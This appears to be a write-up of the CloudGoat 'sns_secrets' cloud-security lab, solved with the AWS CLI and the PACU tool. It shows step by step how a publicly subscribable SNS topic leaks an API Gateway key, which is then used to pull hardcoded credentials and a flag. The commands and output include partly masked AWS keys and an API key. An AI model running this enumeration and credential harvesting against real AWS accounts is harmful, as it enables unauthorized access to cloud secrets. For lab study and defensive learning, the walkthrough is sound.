In this CloudGoat scenario (sns_secrets
), I demonstrated how a misconfigured AWS SNS topic can lead to the exposure of a sensitive API Gateway key. With that key, I accessed a protected API endpoint containing hardcoded secrets, including a flag. I approached the challenge using two methods: A manual enumeration process using the AWS CLI, and an automated path using PACU, an AWS exploitation tool.
Before diving in, here’s a quick overview of AWS SNS and API Gateway. If you’re looking for a deeper technical breakdown, the official AWS documentation is a great place to explore further.
What is Amazon SNS?
Amazon SNS (Simple Notification Service) is a managed publish/subscribe messaging service that allows applications to send messages to multiple subscribers. A publisher sends a message to a topic, which acts as a central channel. SNS then pushes that message to all subscribed endpoints without needing them to poll for updates. Subscribers can be other AWS services like Lambda and SQS, as well as other systems via HTTPS, email, SMS, or mobile push notifications. Typical use cases include sending system alerts, triggering automated workflows, or notifying users across different platforms all from a single message source.
What is an API Gateway?
Think of Amazon API Gateway as the front door to your application it accepts incoming requests, verifies them, and routes them to the right backend, whether that’s a Lambda function, a container, or an EC2 instance. You can build a REST API which is Ideal for HTTP-based services and serverless backends. API Gateway integrates with other AWS services, especially Lambda for serverless apps. When you create an API in API Gateway, it automatically generates a public URL for each endpoint. That URL looks like similar to this: “https://{api-id}.execute-api.{region}.amazonaws.com/{stage}/{resource}”. With this endpoint your front end or any client can call it to interact with your backend logic. You can define different HTTP methods (GET, POST, etc.) on each resource, set up authentication, or manage traffic.
Manual Enumeration (AWS CLI)
- Used low-privileged IAM credentials to authenticate via AWS CLI.
- Enumerated SNS topics using
aws sns list-topics
. - Retrieved SNS topic policy with
get-topic-attributes
; it allowed publicSubscribe
access. - Subscribed to the topic using
aws sns subscribe --protocol email
. - Received an API key via email from the SNS topic.
API Gateway Enumeration (AWS CLI)
- Listed API Gateway IDs with
aws apigateway get-rest-apis
. - Identified the stage name using
get-stages
. - Discovered resource path
/user-data
usingget-resources --embed methods
. - The endpoint used a MOCK integration returning hardcoded secrets and a flag.
- We also retrieved the flag using
curl
and the API key:
PACU Automation
- Imported same low-privileged credentials into PACU.
- Ran
sns__enum
to list SNS topics. - Used
sns__subscribe
to register email to the topic. - Received same API key via email.
- Switched back to AWS CLI to enumerate API Gateway and extract secrets.
Takeaways
- SNS topics with public subscription policies are dangerous.
- API keys can be leaked through notifications and misconfigured debug messages.
- Enumeration of API Gateway stages, resources, and paths reveals hidden endpoints.
- PACU streamlines AWS enumeration and exploitation, but manual CLI gave deeper visibility.
Detailed steps:
SNS Secrets – (Manual – AWS CLI)
Initial Access
sns_user_access_key_id = AKIAS6FO56WFXXBR4DVP
sns_user_secret_access_key = ucxOTrn+Pf8J84GyobzON4aN***************
User Identity
(jimmy㉿kali)-[~]
└─$ aws sts get-caller-identity --profile sns-user
{
"UserId": "AIDAS6FO56WFTGIZ4KJDV",
"Account": "20223******",
"Arn": "arn:aws:iam::20223******:user/cg-sns-user-cgid1n6r3glhaf"
}
Listing SNS topics
(jimmy㉿kali)-[~]
└─$ aws sns list-topics --profile sns-user
{
"Topics": [
{
"TopicArn": "arn:aws:sns:us-east-1:20223******:public-topic-cgid1n6r3glhaf"
}
]
}
Getting the SNS attributes
(jimmy㉿kali)-[~]
└─$ aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:20223******:public-topic-cgid1n6r3glhaf --profile sns-user
{
"Attributes": {
"Policy": "{\\"Version\\":\\"2012-10-17\\",\\"Statement\\":[{\\"Effect\\":\\"Allow\\",\\"Principal\\":\\"*\\",\\"Action\\":[\\"sns:Subscribe\\",\\"sns:Receive\\",\\"sns:ListSubscriptionsByTopic\\"],\\"Resource\\":\\"arn:aws:sns:us-east-1:20223******:public-topic-cgid1n6r3glhaf\\"}]}",
"LambdaSuccessFeedbackSampleRate": "0",
"Owner": "202230******",
"SubscriptionsPending": "0",
"TopicArn": "arn:aws:sns:us-east-1:20223******:public-topic-cgid1n6r3glhaf",
"EffectiveDeliveryPolicy": "{\\"http\\":{\\"defaultHealthyRetryPolicy\\":{\\"minDelayTarget\\":20,\\"maxDelayTarget\\":20,\\"numRetries\\":3,\\"numMaxDelayRetries\\":0,\\"numNoDelayRetries\\":0,\\"numMinDelayRetries\\":0,\\"backoffFunction\\":\\"linear\\"},\\"disableSubscriptionOverrides\\":false,\\"defaultRequestPolicy\\":{\\"headerContentType\\":\\"text/plain; charset=UTF-8\\"}}}",
"FirehoseSuccessFeedbackSampleRate": "0",
"SubscriptionsConfirmed": "0",
"SQSSuccessFeedbackSampleRate": "0",
"HTTPSuccessFeedbackSampleRate": "0",
"ApplicationSuccessFeedbackSampleRate": "0",
"DisplayName": "",
"SubscriptionsDeleted": "0"
}
}
Using the SNS topic ARN we are able to register our email to receive notifications
(jimmy㉿kali)-[~]
└─$ aws sns subscribe --topic-arn arn:aws:sns:us-east-1:20223******:public-topic-cgid1n6r3glhaf --protocol email --notification-endpoint jb*****@*****.com
{
"SubscriptionArn": "pending confirmation"
}
- We received a debug message with an API

Enumerating the API key
- API Key: 45a3da610dc64703b10e273a4db135bf
- What we are looking for here is the ID and Name.
(jimmy㉿kali)-[~]
└─$ aws apigateway get-rest-apis --profile sns-user
{
"items": [
{
"id": "idzbhhn9j2",
"name": "cg-api-cgid1n6r3glhaf",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-05-10T21:16:20-04:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
]
},
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
},
"disableExecuteApiEndpoint": false,
"rootResourceId": "6fonkwrwpa"
}
]
}
Getting the stage details.
- This looks to be the PROD stage.
(jimmy㉿kali)-[~]
└─$ aws apigateway get-stages --rest-api-id idzbhhn9j2 --profile sns-user
{
"item": [
{
"deploymentId": "02uzjw",
"stageName": "prod-cgid1n6r3glhaf",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"variables": {},
"tracingEnabled": false,
"createdDate": "2025-05-10T21:16:21-04:00",
"lastUpdatedDate": "2025-05-10T21:16:21-04:00"
}
]
}
Getting the path of the API.
- We need to call the resources to get details.
- We see our path is “/user-data”
- We also reveled the application details exposing user, email, password, and the FLAG.
(jimmy㉿kali)-[~]
└─$ aws apigateway get-resources --rest-api-id idzbhhn9j2 --embed methods --profile sns-user
{
"items": [
{
"id": "6fonkwrwpa",
"path": "/"
},
{
"id": "mtw1u1",
"parentId": "6fonkwrwpa",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": {
"GET": {
"httpMethod": "GET",
"authorizationType": "NONE",
"apiKeyRequired": true,
"methodResponses": {
"200": {
"statusCode": "200"
}
},
"methodIntegration": {
"type": "MOCK",
"requestTemplates": {
"application/json": "{\\"statusCode\\":200}"
},
"passthroughBehavior": "WHEN_NO_MATCH",
"timeoutInMillis": 29000,
"cacheNamespace": "mtw1u1",
"cacheKeyParameters": [],
"integrationResponses": {
"200": {
"statusCode": "200",
"responseTemplates": {
"application/json": "{\\"final_flag\\":\\"FLAG{SNS_S3cr3ts_ar3_FUN}\\",\\"message\\":\\"Access granted\\",\\"user_data\\":{\\"email\\":\\"[email protected]\\",\\"password\\":\\"p@ssw0rd123\\",\\"user_id\\":\\"1337\\",\\"username\\":\\"SuperAdmin\\"}}"
}
}
}
}
}
}
}
]
}
Now we can build URL to get the flag using a Curl request.
- We can build the URL with the API Key, API ID, Stage Name, and Path
(jimmy㉿kali)-[~]
└─$ curl -s -H "x-api-key: 45a3da610dc64703b10e273a4db135bf" <https://idzbhhn9j2.execute-api.us-east-1.amazonaws.com/prod-cgid1n6r3glhaf/user-data>
{"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"[email protected]","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}}
SNS Secrets Enumeration – (using PACU)
We start with Initial Access
sns_user_access_key_id = AKIAS6FO56WFT7GX3RXH
sns_user_secret_access_key = TmEy44sLMbPl0fbAczx+9s2a***************
After importing keys for sns-user in Pacu we search for sns related modules.
- We will start with sns__enum.
Pacu (sns-user:imported-sns-user) > search sns
[Category: LATERAL_MOVE]
Subscribe to a Simple Notification Service (SNS) topic
sns__subscribe
[Category: ENUM]
List and describe Simple Notification Service topics
sns__enum
SNS Enumeration
- We now have the arn for our SNS topic.
Pacu (sns-user:imported-sns-user) > run sns__enum --region us-east-1
Running module sns__enum...
[sns__enum] Starting region us-east-1...
[sns__enum] Found 1 topics
[sns__enum] sns__enum completed.
[sns__enum] MODULE SUMMARY:
Num of SNS topics found: 1
Num of SNS subscribers found: 0
Pacu (sns-user:imported-sns-user) > data
Session data:
aws_keys: [
<AWSKey: imported-sns-user>
]
id: 2
created: "2025-05-11 02:38:25.756965"
is_active: true
name: "sns-user"
key_alias: "imported-sns-user"
access_key_id: "AKIAS6FO56WFT7GX3RXH"
secret_access_key: "******" (Censored)
session_regions: [
"all"
]
SNS: {
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:20223******:public-topic-cgidra5sdqj83u": {
"Owner": "20223******",
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}
Subscribing to the SNS topic
- We will us the sns__subscribe module in Pacu to register our email with this SNS toipic.
Pacu (sns-user:imported-sns-user) > run sns__subscribe --topics arn:aws:sns:us-east-1:202230******:public-topic-cgidra5sdqj83u --email jb****@*****.com
Running module sns__subscribe...
[sns__subscribe] Subscribed successfully, check email for subscription confirmation. Confirmation ARN: arn:aws:sns:us-east-1:202230******:public-topic-cgidra5sdqj83u:37e837dd-2fca-4912-bd16-926e905ca866
We received an API Gateway key after subscribing our email in the SNS topic.

Enumerating the API Gateway Key.
- We continue this enumeration using the AWS CLI.
- See the steps we took during the “Manual” enumeration process above.
List of commands:
# Enumerate API Gateway to retrieve API ID and Name.
aws apigateway get-rest-apis --profile sns-user
# Enumerating API stage to get Stage Name.
aws apigateway get-stages --rest-api-id idzbhhn9j2 --profile sns-user
# Enumerating API Gateway resources to find the API. You may also get a lot more details like your API response message.
aws apigateway get-resources --rest-api-id idzbhhn9j2 --embed methods --profile sns-user
# Use the API key and full URL (API ID + region + stage + resource path) to access the endpoint.
curl -s -H "x-api-key: 45a3da610dc64703b10e273a4db135bf" <https://idzbhhn9j2.execute-api.us-east-1.amazonaws.com/prod-cgid1n6r3glhaf/user-data>